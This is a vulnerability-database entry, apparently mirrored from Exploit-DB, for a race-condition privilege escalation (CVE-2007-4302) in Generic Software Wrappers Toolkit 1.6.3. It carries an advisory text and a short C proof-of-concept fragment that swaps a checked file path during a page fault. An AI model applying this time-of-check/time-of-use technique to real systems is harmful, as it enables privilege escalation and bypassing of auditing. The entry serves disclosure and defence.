Lucene search
+L

Generic Software Wrappers Toolkit 1.6.3 (GSWTK) - Race Condition Privilege Escalation

🗓️ 09 Aug 2007 00:00:00Reported by Robert N. M. WatsonType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

Generic Software Wrappers Toolkit 1.6.3 (GSWTK) concurrency vulnerabilities and privilege escalation due to race condition in system call wrapper

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2007-4302
13 Aug 200721:00
cve
cvelist
Cvelist
CVE-2007-4302
13 Aug 200721:00
cvelist
euvd
EUVD
EUVD-2007-4285
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-4302
13 Aug 200721:17
nvd
prion
Prion
Race condition
13 Aug 200721:17
prion
/*
source: https://www.securityfocus.com/bid/25251/info

GSWKT (Generic Software Wrappers Toolkit) is prone to multiple concurrency vulnerabilities because of its implementation of system call wrappers. This problem can result in a race condition between a user thread and the kernel.

Attackers can exploit these issues by replacing certain values in system call wrappers with malicious data to elevate privileges or to bypass auditing. Successful attacks can completely compromise affected computers.

GSWKT 1.6.3 is vulnerable; other versions may also be affected.
*/

#define EVIL_NAME ./home/ko/.forward.
#define REAL_NAME ./home/ko/Inbox.
volatile char *path;
/* Set up path string so nul is on different page. */
path = fork_malloc_lastbyte(sizeof(EVIL_NAME));
strcpy(path, EVIL_NAME);
/* Page out the nul so reading it causes a fault. */
pageout_lastbyte(path, sizeof(EVIL_NAME));
/* Create a child to overwrite path on next fault. */
pid = fork_and_overwrite_up(path, REAL_NAME,
sizeof(REAL_NAME));
fd = open(path, O_RDRW);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.2
EPSS0.00716
34